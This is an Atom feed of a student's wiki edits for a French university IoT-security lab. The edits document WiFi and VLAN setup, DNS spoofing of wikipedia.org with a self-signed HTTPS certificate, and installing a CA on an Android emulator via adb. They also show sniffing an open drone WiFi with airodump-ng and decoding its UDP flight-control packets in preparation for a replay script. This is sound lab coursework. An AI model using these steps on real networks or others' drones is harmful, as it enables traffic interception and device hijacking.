<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
	<id>https://wiki-se.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Handrian</id>
	<title>wiki-se.plil.fr - Contributions [fr]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki-se.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Handrian"/>
	<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php/Sp%C3%A9cial:Contributions/Handrian"/>
	<updated>2026-04-17T00:42:37Z</updated>
	<subtitle>Contributions</subtitle>
	<generator>MediaWiki 1.39.1</generator>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026&amp;diff=11660</id>
		<title>SE5 IdO sécurité des objets 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026&amp;diff=11660"/>
		<updated>2026-01-29T12:26:00Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Répartition des binômes pour le module de sécurité des objets */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Infrastructure réseau pour 2025/2026 =&lt;br /&gt;
&lt;br /&gt;
== Serveur virtuel ==&lt;br /&gt;
&lt;br /&gt;
Créez un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; par binôme. Préfixez le nom du serveur par &amp;lt;code&amp;gt;SE5-&amp;lt;/code&amp;gt;. Le serveur doit avoir une unique interface dans le commutateur virtuel &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Prenez une adresse IPv4 à partir de &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et utilisez, comme routeur, l'adresse IPv4 &amp;lt;code&amp;gt;172.26.145.251&amp;lt;/code&amp;gt;. Le routeur à cette adresse est configuré pour faire passer vos machines par un dispositif de type mascarade.&lt;br /&gt;
&lt;br /&gt;
Par la suite ajoutez à votre serveur une interface dans le VLAN &amp;lt;code&amp;gt;400+X&amp;lt;/code&amp;gt; numérotée dans le sous-réseau IPv4 &amp;lt;code&amp;gt;172.16.X.0/24&amp;lt;/code&amp;gt;. Bien entendu &amp;lt;code&amp;gt;X&amp;lt;/code&amp;gt; est différent d'un binôme à l'autre (et &amp;lt;code&amp;gt;X&amp;lt;/code&amp;gt;&amp;gt;1).&lt;br /&gt;
&lt;br /&gt;
== Point d'accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
Installez un ou plusieurs point d'accès WiFi Cisco sur un port de commutateur en mode trunk. Tentez d'associer une adresse d'administration à ce point d'accès dans le VLAN 50 (adresse d'administration en &amp;lt;code&amp;gt;172.26.145.Y&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&lt;br /&gt;
Créez un SSID associé à votre VLAN et configuré pour une identification par WPA2-PSK.&lt;br /&gt;
&lt;br /&gt;
De plus implantez les services suivant sur votre serveur virtuel :&lt;br /&gt;
* configuration par DHCP pour les clients WiFi, utilisez les adresses d'octet de poids faible &amp;lt;code&amp;gt;100&amp;lt;/code&amp;gt; à &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; du réseau IPv4 de votre VLAN privé. Donner l'adresse de votre machine mandataire comme routeur par défaut et comme serveur DNS ;&lt;br /&gt;
* Implanter un serveur DNS minimal sur votre serveur virtuel (DNS transitaire ou DNS forwarder en patoi) ;&lt;br /&gt;
* Implanter une mascarade sur votre serveur virtuel entre votre VLAN privé et le routeur du réseau des salles de projets.&lt;br /&gt;
&lt;br /&gt;
Vous pouvez tester la visibilité de votre SSID, l'identification WiFi, le serveur DHCP et enfin l'accès à Internet en utilisant votre téléphone portable ou la carte WiFi des zabeth.&lt;br /&gt;
&lt;br /&gt;
= Interception de flux =&lt;br /&gt;
&lt;br /&gt;
L'étude d'applications mobiles peut passer par la redirection de flux TCP pour de la rétro-ingénierie. Deux voies sont possibles, une redirection par DNS ou une redirection de flux TCP vers un port local.&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
&lt;br /&gt;
Ajoutez une zone primaire à votre serveur DNS avec le nom Internet que vous souhaitez rediriger vers votre machine locale.&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&lt;br /&gt;
Ajoutez des règles &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;nftables&amp;lt;/code&amp;gt; pour rediriger un flux TCP vers un port local.&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
En régle générale, c'est un flux HTTPS que vous souhaitez rediriger, vous avez donc besoin d'un serveur Web local en mode sécurisé (HTTPS).&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
La redirection de flux HTTPS est problématique à cause de la protection par certificat X509. Pour contourner cette protection, une solution consiste à ajouter des autorités de certification sur l'appareil où l'application mobile est installée. Pour ce faire il est probable qu'il faille un contrôle important sur l'OS de l'appareil. Comme vous pouvez rechigner à rooter votre mobile, une machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; semble adaptée. &lt;br /&gt;
&lt;br /&gt;
Il vous est proposé de tester de créer une machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; soit par émulation d'un ARM en utilisant &amp;lt;code&amp;gt;QEMU&amp;lt;/code&amp;gt; sur un PC ordinaire soit en utilisant &amp;lt;code&amp;gt;KVM&amp;lt;/code&amp;gt; sur une Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
= Répartition des binômes pour le module de sécurité des objets =&lt;br /&gt;
&lt;br /&gt;
Donnez les élèves dans chaque binôme.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Elèves !! Nom du serveur virtuel !! N° du VLAN&lt;br /&gt;
|-&lt;br /&gt;
| [[SE5 IdO sécurité des objets 2025/2026 b1 | Cahier b1]] || Victorien Détrez || SE5-serveur || n°410&lt;br /&gt;
|-&lt;br /&gt;
| [[SE5 IdO sécurité des objets 2025/2026 b2 | Cahier b2]] || Kaoutar El Bachiri || SE5-kelbachi || n°409&lt;br /&gt;
|-&lt;br /&gt;
| [[SE5 IdO sécurité des objets 2025/2026 b3 | Cahier b3]] || Heriniaina Raissa Andrianirintsoa || SE5-handrian || n°411&lt;br /&gt;
|-&lt;br /&gt;
| [[SE5 IdO sécurité des objets 2025/2026 b4 | Cahier b4]] || Abdel Zongo || SE5-serveur || n°404&lt;br /&gt;
|-&lt;br /&gt;
| [[SE5 IdO sécurité des objets 2025/2026 b5 | Cahier b5]] || Chaymae Rhanim || SE5-serveur || n°408&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11357</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11357"/>
		<updated>2026-01-25T22:29:32Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Configuration VM */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.1&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#  Networking&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
Configuration&lt;br /&gt;
&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Pour activer ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Machine virtuelle android ==&lt;br /&gt;
&lt;br /&gt;
=== Installation de la machine virtuelle Android ===&lt;br /&gt;
&lt;br /&gt;
==== 1ère tentative avec QEMU : Création disque ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-img create -f qcow2 android.qcow2 16G&lt;br /&gt;
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Installation de l'android =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 \&lt;br /&gt;
  -m 4096 \&lt;br /&gt;
  -smp 4 \&lt;br /&gt;
  -enable-kvm \&lt;br /&gt;
  -drive file=android.qcow2,format=qcow2 \&lt;br /&gt;
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \&lt;br /&gt;
  -boot d \&lt;br /&gt;
  -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour lancer l'android : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 2ème tentative avec Android Studio ====&lt;br /&gt;
&lt;br /&gt;
===== Installation d’Android Studio =====&lt;br /&gt;
J'ai installé Android Studio à partir du site officiel de Google.&lt;br /&gt;
&lt;br /&gt;
Après l’installation, les composants suivants ont été installés via le SDK Manager :&lt;br /&gt;
&lt;br /&gt;
* Android SDK Platform&lt;br /&gt;
* Android SDK Platform-Tools&lt;br /&gt;
* Android Emulator&lt;br /&gt;
&lt;br /&gt;
L’installation du SDK s’est déroulée sans erreur particulière&lt;br /&gt;
&lt;br /&gt;
Puis la création de l'AVD :&lt;br /&gt;
&lt;br /&gt;
* Modèle : Pixel 6 Pro&lt;br /&gt;
* Version : API 31 Android 12&lt;br /&gt;
* Architecture : x86_64 &lt;br /&gt;
&lt;br /&gt;
== Mise en place du certificat ==&lt;br /&gt;
Première tentative avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb shell avbctl disable-verification&lt;br /&gt;
adb reboot&lt;br /&gt;
adb wait-for-device root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Problèmes rencontrés ===&lt;br /&gt;
&lt;br /&gt;
==== Accès root et système en lecture seule ====&lt;br /&gt;
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount ('''adb remount''') ou de modification du système échouaient.&lt;br /&gt;
&lt;br /&gt;
=== Résolutions ===&lt;br /&gt;
Démarrage de l'émulateur en Cold Boot avec la commande : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis,&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb disable-verity&lt;br /&gt;
adb reboot&lt;br /&gt;
adb root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts/&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;L'installation du certificat a été réalisée avec succès. Mais j'ai finalement laissé l'approche par machine virtuelle car le drone agit comme un point d'accès Wi-Fi donc j'ai privilégié l'analyse du trafic réel. J'ai utilisé mon téléphone pour envoyer les commandes de pilotage et l'ordinateur  avec le Wipi et Wireshark pour intercepter et capturer les échanges de paquets entre le téléphone et le drone afin de repérer les octets de directions&lt;br /&gt;
&lt;br /&gt;
== Drone ==&lt;br /&gt;
&lt;br /&gt;
=== Interface de l'application du drone &amp;quot;RC UFO&amp;quot; ===&lt;br /&gt;
[[Fichier:Drone.jpg|centré|vignette|480x480px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour passe en mode &amp;quot;Monitor&amp;quot; j'ai utilisé la carte Wipi, pour pouvoir capturer les paquets et intercepter la communication entre le drone et le téléphone&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlx40a5efd21166&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng -c 1 wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;40:07:76:C0:20:23  -39        4        0    0   1   65   OPN              WIFI_UFO_2320c0 &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iwconfig wlan0mon channel 1&lt;br /&gt;
wireshark&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici, j'ai mis un filtre pour intercepter les paquets du drône :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* ne garde que les '''donnée''' (Data)&lt;br /&gt;
* ne garde que ce qui passe par '''commandes'''&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wireshark.png|vignette|869x869px|néant]]Avec le filtre &amp;lt;code&amp;gt;wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&amp;lt;/code&amp;gt; Il y a le flux unidirectionnel émis par le smartphone (&amp;lt;code&amp;gt;192.168.1.100&amp;lt;/code&amp;gt;) vers le drone (&amp;lt;code&amp;gt;192.168.1.1&amp;lt;/code&amp;gt;). Les paquets capturés d'une longueur de 9 octets correspondent aux instructions de vol envoyées.&lt;br /&gt;
&lt;br /&gt;
Sur la trame sélectionnée (&amp;lt;code&amp;gt;03 66 80 80 ba 80 00 3a 99&amp;lt;/code&amp;gt;)  on peut identifier l'en-tête fixe (&amp;lt;code&amp;gt;03 66&amp;lt;/code&amp;gt;), les axes au neutre (&amp;lt;code&amp;gt;0x80&amp;lt;/code&amp;gt;), et la modification du '''4 ème octet''' (&amp;lt;code&amp;gt;0xC0&amp;lt;/code&amp;gt;) qui correspond l'instruction '''&amp;lt;nowiki/&amp;gt;'décoller''''&lt;br /&gt;
&lt;br /&gt;
=== Connexion Zabeth-Drone ===&lt;br /&gt;
Configuration wifi :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iface wlan1 inet static&lt;br /&gt;
  wireless-essid WIFI_UFO_2320c0&lt;br /&gt;
  address 192.168.1.101/24&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vérification : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iwconfig&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
wlan1     IEEE 802.11  ESSID:&amp;quot;WIFI_UFO_2320c0&amp;quot;  &lt;br /&gt;
          Mode:Managed  Frequency:2.412 GHz  Access Point: 40:07:76:C0:20:23   &lt;br /&gt;
          Bit Rate=26 Mb/s   Tx-Power=22 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Encryption key:off&lt;br /&gt;
          Power Management:on&lt;br /&gt;
          Link Quality=63/70  Signal level=-47 dBm  &lt;br /&gt;
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;
          Tx excessive retries:0  Invalid misc:28   Missed beacon:0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;code&amp;gt;ping 192.168.1.1&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=8.50 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=9.05 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Tentatives de control du drône ===&lt;br /&gt;
&lt;br /&gt;
==== Première tentative ====&lt;br /&gt;
À partir des captures Wireshark (voir Figure ci-dessus), j'ai isolé les trames UDP envoyées sur le port 7099. J'ai identifié la structure du paquet (Header &amp;lt;code&amp;gt;03 66&amp;lt;/code&amp;gt;, Footer &amp;lt;code&amp;gt;99&amp;lt;/code&amp;gt;) et les octets correspondant aux axes du joystick&lt;br /&gt;
&lt;br /&gt;
Pour le script de contrôle j'ai tenté de reproduire une commande de décollage : &lt;br /&gt;
&lt;br /&gt;
J'ai supposé un calcul par soustraction  par rapport à la valeur neutre.&amp;lt;syntaxhighlight lang=&amp;quot;py&amp;quot;&amp;gt;&lt;br /&gt;
# SOCK_DGRAM = Protocole UDP&lt;br /&gt;
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)&lt;br /&gt;
&lt;br /&gt;
# STOP&lt;br /&gt;
# Tout est à 80 Checksum à 00&lt;br /&gt;
# Code : 03 66 80 80 80 80 00 00 99&lt;br /&gt;
